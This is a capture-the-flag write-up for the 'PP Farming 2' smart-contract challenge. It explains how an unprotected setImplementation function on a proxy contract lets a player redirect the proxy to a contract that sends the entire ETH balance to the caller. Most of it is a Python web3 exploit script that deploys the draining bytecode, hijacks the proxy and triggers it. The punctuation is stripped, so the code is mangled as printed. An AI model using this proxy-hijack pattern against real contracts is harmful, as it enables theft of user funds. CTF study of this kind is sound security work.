Skip to content

sekai ctf 2026

PP Farming 2

I fixed the issue. I think...

Challenge Description

I fixed the issue. I think...

writeup

so the challenge gave us an ethereum rpc endpoint a player private key and a proxy contract address at 0x8cae5d28b73338190c76ba0fd9d2381e075d9983 the proxy logic was handled by an implementation contract at 0x6ae5ce36158a497580c00435adef737b04571669

the chall looks like these crypto scams to me

so the challenge objective was to drain the 10 eth balance from the proxy contract the issolved() function returns true only when the contract's balance is exactly zero

so i identified that the proxy's fallback function only blocked the processwithdrawal selector 0x8260910c but ignored administrative functions in the implementation i called setimplementation 0x9a2ba7a8 to point the proxy to a malicious contract i deployed this contract used a delegatecall to transfer the proxy's entire balance to my address once the balance was zeroed the challenge was marked as solved and i got free crytpooo from mr beast him self

the script

python

from eth_account import account
from web3 import web3
from eth_abi import encode

rpc_url = "https://ethchalssekaiteam/giwtxmjgxjffzghdyrvcmotf/main"
private_key = "61db665c07d34a330b3d09c34d8fc2503004f08a41dffb0148a9df9d247fb443"
proxy_address = "0x8cae5d28b73338190c76ba0fd9d2381e075d9983"

w3 = web3(web3httpprovider(rpc_url))
account = accountfrom_key(private_key)

deploy_bytecode = "0x600980600b6000396000f35f5f5f5f47335af100"
tx = {
'from': accountaddress
'data': deploy_bytecode
'gas': 200000
'gasprice': w3ethgas_price
'nonce': w3ethget_transaction_count(accountaddress)
'chainid': w3ethchain_id
}
signed_tx = w3ethaccountsign_transaction(tx private_key)
tx_hash = w3ethsend_raw_transaction(signed_txraw_transaction)
malicious_addr = w3ethwait_for_transaction_receipt(tx_hash)contractaddress

data = "0x9a2ba7a8" + encode(['address'] [malicious_addr])hex()
tx2 = {
'from': accountaddress
'to': proxy_address
'data': data
'gas': 200000
'gasprice': w3ethgas_price
'nonce': w3ethget_transaction_count(accountaddress)
'chainid': w3ethchain_id
}
w3ethsend_raw_transaction(w3ethaccountsign_transaction(tx2 private_key)raw_transaction)

tx3 = {
'from': accountaddress
'to': proxy_address
'data': "0xdeadbeef"
'gas': 200000
'gasprice': w3ethgas_price
'nonce': w3ethget_transaction_count(accountaddress)
'chainid': w3ethchain_id
}
w3ethsend_raw_transaction(w3ethaccountsign_transaction(tx3 private_key)raw_transaction)

result = w3ethcall({'to': proxy_address 'data': "0x64d98f6e"})
print(f"issolved: {int(resulthex() 16)}")

Discussion

Loading discussion…

Related solves

Keep reading

Complete archive